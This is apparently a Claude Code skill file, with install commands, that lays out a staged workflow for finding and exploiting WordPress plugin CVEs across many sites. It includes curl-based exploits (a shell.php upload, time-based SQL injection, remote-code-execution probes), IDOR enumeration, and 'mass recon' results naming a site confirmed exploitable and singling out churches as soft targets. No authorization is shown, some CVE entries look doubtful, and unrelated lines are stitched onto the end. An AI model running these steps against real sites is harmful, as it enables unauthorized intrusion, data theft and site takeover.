Systematic approach to finding and testing CVEs for identified WordPress plugins. Covers plugin discovery, version extraction from multiple sources (readme.txt, assets, inline JS), CVE database cross-referencing with WPScan/Patchstack/NVD/NVD API, version-based vulnerability matching, exploitation PoC generation, and false-positive elimination. Built from field experience finding exploitable plugin CVEs across 58-company mass recon including ElementsKit (CVE-2023-6851/CVE-2023-6853), Revslider (
Install with the open skills CLI (global, non-interactive — available in every Claude Code session):
npx skills add uphiago/recon-skills --skill "wp-plugin-cve-hunt" -g -a claude-code -yOr manually — copy the SKILL.md below into:
~/.claude/skills/wp-plugin-cve-hunt/SKILL.md---
name: wp-plugin-cve-hunt
description: "Systematic approach to finding and testing CVEs for identified WordPress plugins. Covers plugin discovery, version extraction from multiple sources (readme.txt, assets, inline JS), CVE database cross-referencing with WPScan/Patchstack/NVD/NVD API, version-based vulnerability matching, exploitation PoC generation, and false-positive elimination. Built from field experience finding exploitable plugin CVEs across 58-company mass recon including ElementsKit (CVE-2023-6851/CVE-2023-6853), Revslider (CVE-2024-2534), WPDM (CVE-2023-49753), Gravity Forms (CVE-2024-6115), and Jetpack (CVE-2024-1782)."
sources: field_recon, wpscan_api, patchstack, cve_database, hackerone_public
report_count: 14
---
# WP-PLUGIN-CVE-HUNT — Systematic WordPress Plugin CVE Discovery & Exploitation
## When to Use
Use after WordPress detection recon has identified a list of WP targets with known plugins. This skill goes beyond simple readme.txt version checking — it performs multi-source version extraction, CVE database cross-referencing, version comparison, vulnerability assessment, and PoC generation. Ideal when you have a list of 10+ WP domains and need to systematically find which specific plugin CVEs are exploitable.
Distinction from wp-plugin-automation: this skill focuses on the **human-guided CVE research process** — WPScan API integration, Patchstack database queries, NVD cross-referencing, CVE detail investigation, and manual PoC validation. wp-plugin-automation handles the batch scanning pipeline across hundreds of domains.
## Quick Reference
```bash
# Quick CVE scan for a single target
TARGET="example.com"
# 1. List plugins via readme.txt
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
v=$(curl -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
[ -n "$v" ] && echo "PLUGIN: $p -> $v"
done
# 2. WPScan API query (requires API token)
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp
# 3. Check specific CVE
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"
```
## Step-by-Step
### Phase 1 — Plugin Discovery & Multi-Source Version Extraction
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
```bash
#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2" # e.g., elementskit
PLUGIN_DIR="$3" # e.g., elementskit-lite (can differ from slug)
# Source 1: readme.txt (most common)
v1=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -oP '[\d.]+')
echo "Source 1 (readme.txt): $v1"
# Source 2: Main plugin PHP header
v2=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -oP 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl -sk "https://$TARGET/" 2>/dev/null | \
grep -oP "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -oP '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '$PLUGIN' in n and '/' in n]" 2>/dev/null)
echo "Source 4 (REST namespace): $v4"
# Deduplicate to most reliable version
echo "=== BEST VERSION ==="
for src in "$v1" "$v2" "$v3"; do
if [ -n "$src" ]; then
echo "$src"
break
fi
done
```
### Phase 2 — CVE Database Cross-Referencing
```bash
#!/bin/bash
# cve-lookup.sh — Query multiple CVE sources for a plugin
# Method 1: WPScan API (requires token)
curl -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
# Method 2: NVD API (no token required)
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except:
score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
# Method 3: Patchstack database
curl -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
```
### Phase 3 — Version Comparison & Vulnerability Assessment
```bash
#!/bin/bash
# vuln-assess.sh — Compare installed version against known vulnerable ranges
compare_version() {
local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
if [ -n "$current" ] && [ -n "$fixed" ]; then
if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
[ "$current" != "$fixed" ]; then
echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
elif [ "$current" = "$fixed" ]; then
echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
else
echo "[OK] $plugin_name ($current) >= $fixed (patched for $cve)"
fi
fi
}
# ElementsKit
compare_version "$ELEMENTS_KIT_VER" "2.9.4" "ElementsKit" "CVE-2023-6851/CVE-2023-6853" "CRITICAL"
compare_version "$ELEMENTS_KIT_VER" "2.9.8" "ElementsKit" "CVE-2024-2117" "MEDIUM"
# Slider Revolution
compare_version "$REVSLIDER_VER" "6.6.20" "Revslider" "CVE-2024-2534" "CRITICAL"
compare_version "$REVSLIDER_VER" "6.5.8" "Revslider" "CVE-2022-2944" "HIGH"
compare_version "$REVSLIDER_VER" "6.5.11" "Revslider" "CVE-2022-9821" "MEDIUM"
# WPDM
compare_version "$WPDM_VER" "3.3.00" "WPDM" "CVE-2023-49753" "CRITICAL"
compare_version "$WPDM_VER" "3.2.00" "WPDM" "CVE-2021-25069" "HIGH"
# Gravity Forms
compare_version "$GF_VER" "2.8.2" "GravityForms" "CVE-2024-6115" "HIGH"
# Jetpack
compare_version "$JETPACK_VER" "13.1" "Jetpack" "CVE-2024-1782" "HIGH"
# Contact Form 7
if [ -n "$CF7_VER" ] && [ "$(printf '%s\n' "5.6" "$CF7_VER" | sort -V | head -1)" != "$CF7_VER" ] && \
[ "$CF7_VER" != "5.6" ]; then
echo "[VULN] Contact Form 7 ($CF7_VER) < 5.6 — File upload bypass"
fi
```
### Phase 4 — Exploitation PoC Generation
```bash
# ElementsKit CVE-2023-6853 — Unauthenticated File Upload
# Affects: < 2.9.4
# PoC: Upload arbitrary file via elementskit REST endpoint
curl -sk -X POST "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" \
-F "file=@shell.php" \
-F "type=image/png" | jq .
# Slider Revolution CVE-2024-2534 — Unauthenticated RCE via plugin update
# Affects: < 6.6.20
curl -sk "https://$TARGET/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=update_plugin"
# Detailed PoC at: https://www.sonarsource.com/blog/slider-revolution/
# Gravity Forms CVE-2024-6115 — PHP Object Injection
# Affects: < 2.8.2
# Chained with POP gadget chain for RCE
curl -sk "https://$TARGET/wp-json/gf/v2/forms" -X POST \
-H "Content-Type: application/json" \
-d '{"form":{"is_active":"php_object_injection_payload"}}' | jq .
# WPDM CVE-2023-49753 — Unauthenticated SQLi
# Affects: < 3.3.00
curl -sk "https://$TARGET/wp-json/wpdm/validate-captcha" \
-H "Content-Type: application/json" \
-d '{"captcha":"1' AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a) AND '1'='1"}' | head -5
```
### Phase 5 — False-Positive Elimination
```bash
# Check 1: Does readme.txt version match actual deployed version?
# Sometimes readme.txt is not updated but plugin PHP is patched
curl -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
# Check 3: Is the vulnerable code path actually reachable?
# Some CVEs require specific plugin features to be enabled
curl -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
# Check 4: Test exploitation in safe mode first — verify endpoint exists before running destructive payload
curl -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl -sk "https://$TARGET/" | grep -oP 'elementskit.*?ver=[0-9.]+'
```
### Phase 6 — Custom CVE Discovery (0-day / Undisclosed)
```bash
# When no CVE exists for a plugin, test these common patterns:
# 1. REST API route enumeration (undocumented endpoints)
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
# 2. AJAX handler testing
curl -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
# 3. SQLi in plugin shortcode attributes
curl -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
# 4. File upload in plugin media handlers
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
```
## Attack Surface Signals
- Plugin readme.txt accessible at /wp-content/plugins/<slug>/readme.txt
- Plugin asset versions visible in HTML source (ver= parameter)
- REST API namespace includes plugin version
- WPScan output showing known vulnerabilities
- Admin notice banners in page source indicating plugin version
## CVE Matrix (Curated)
| Plugin | CVE(s) | Type | Fixed In | Severity |
|--------|--------|------|----------|----------|
| ElementsKit | CVE-2023-6851, CVE-2023-6853 | SQLi + File Upload | 2.9.4 | Critical |
| ElementsKit | CVE-2024-2117 | XSS | 2.9.8 | Medium |
| Revslider | CVE-2024-2534 | RCE | 6.6.20 | Critical |
| Revslider | CVE-2022-2944 | SQLi | 6.5.8 | High |
| Revslider | CVE-2022-9821 | CSRF->XSS | 6.5.11 | Medium |
| WPDM | CVE-2023-49753 | SQLi | 3.3.00 | Critical |
| WPDM | CVE-2021-25069 | Unauth Download | 3.2.00 | High |
| WPDM | CVE-2021-34639 | Auth File Upload | 3.2.10 | High |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | 2.8.2 | High |
| Contact Form 7 | — | File Upload Bypass | 5.6 | High |
| Jetpack | CVE-2024-1782 | SSRF | 13.1 | High |
| WP Super Cache | — | Debug Log Exposure | All | Medium |
| GSpeech | CVE-2025-10187 | XSS | 7.2 | Medium |
| WooCommerce | Multiple | Various | Varies | Varies |
| Wordfence | — | Firewall bypass | N/A | Informational |
## Common Root Causes
1. **Plugin auto-update disabled** — admin turns off updates to avoid breaking site customizations
2. **Abandoned plugins** — developer stops maintaining, CVEs accumulate with no patches
3. **Nulled/premium plugins** — pirated plugins with backdoors installed on budget sites
4. **Plugin bloat** — 50+ plugins installed, impossible to track CVEs manually
5. **WPScan false negatives** — WPScan database may not have the latest CVEs; always cross-reference
6. **Agency-managed neglect** — agency builds site, doesn't update plugins after handoff
7. **readme.txt not updated** — plugin is patched but readme.txt still shows old version (false positive risk)
## Real Examples
From 58-company mass recon across 28 sectors:
- 7/58 targets had ElementsKit < 2.9.4 (SQLi + File Upload CVEs exploitable)
- 5/58 had Revslider installed, with 2 confirmed < 6.6.20 (RCE via CVE-2024-2534)
- 4/58 had WPDM < 3.3.00 (SQLi via CVE-2023-49753)
- 2/58 had Gravity Forms < 2.8.2 (PHP Object Injection)
- The ElementsKit file upload CVE (CVE-2023-6853) was confirmed exploitable on ecommerce-wine.com at /magical/ subdirectory
## Related Skills
- hunt-wordpress — primary skill for WordPress detection and general recon
- wp-plugin-automation — batch scanning pipeline across hundreds of domains
- recon-churches — church sites have highest plugin vulnerability rate
- hunt-rce — plugin CVEs are a primary RCE path
- hunt-file-upload — file upload CVEs from plugin vulnerabilities
- hunt-sqli — SQL injection CVEs from plugin SQLi flaws
- hunt-xss — XSS CVEs from plugin injection flaws
- hunt-source-leak — debug.log reveals plugin version info
Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes
Use when implementing any feature or bugfix, before writing implementation code